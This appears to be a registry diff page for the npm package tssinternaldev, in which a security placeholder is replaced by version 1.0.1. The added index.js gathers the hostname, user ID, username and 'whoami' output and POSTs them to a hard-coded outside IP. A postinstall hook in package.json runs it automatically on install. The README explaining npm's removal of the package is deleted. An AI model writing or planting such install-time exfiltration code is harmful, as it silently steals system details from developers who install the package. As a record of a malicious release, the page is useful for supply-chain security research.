tssinternaldev 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of tssinternaldev might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +36 -0
  2. package/package.json +7 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,36 @@
1
+ const os = require('os');
2
+ const { exec } = require('child_process');
3
+ const https = require('http');
4
+
5
+ // Collect system details
6
+ const data = {
7
+ machineId: os.hostname(),
8
+ userId: os.userInfo().uid,
9
+ username: os.userInfo().username
10
+ };
11
+
12
+ // Execute a shell command
13
+ exec('whoami', (error, stdout) => {
14
+ if (!error) {
15
+ data.shellOutput = stdout.trim();
16
+ }
17
+
18
+ // Send exfiltrated data to a malicious server
19
+ const options = {
20
+ hostname: '94.136.186.130', // Replace with your server
21
+ port: 80,
22
+ path: '/log',
23
+ method: 'POST',
24
+ headers: {
25
+ 'Content-Type': 'application/json'
26
+ }
27
+ };
28
+
29
+ const req = https.request(options, (res) => {
30
+ console.log(`Status Code: ${res.statusCode}`);
31
+ });
32
+
33
+ req.write(JSON.stringify(data));
34
+ req.end();
35
+ });
36
+
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "tssinternaldev",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "Malicious Package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
6
9
  }
10
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=tssinternaldev for more information.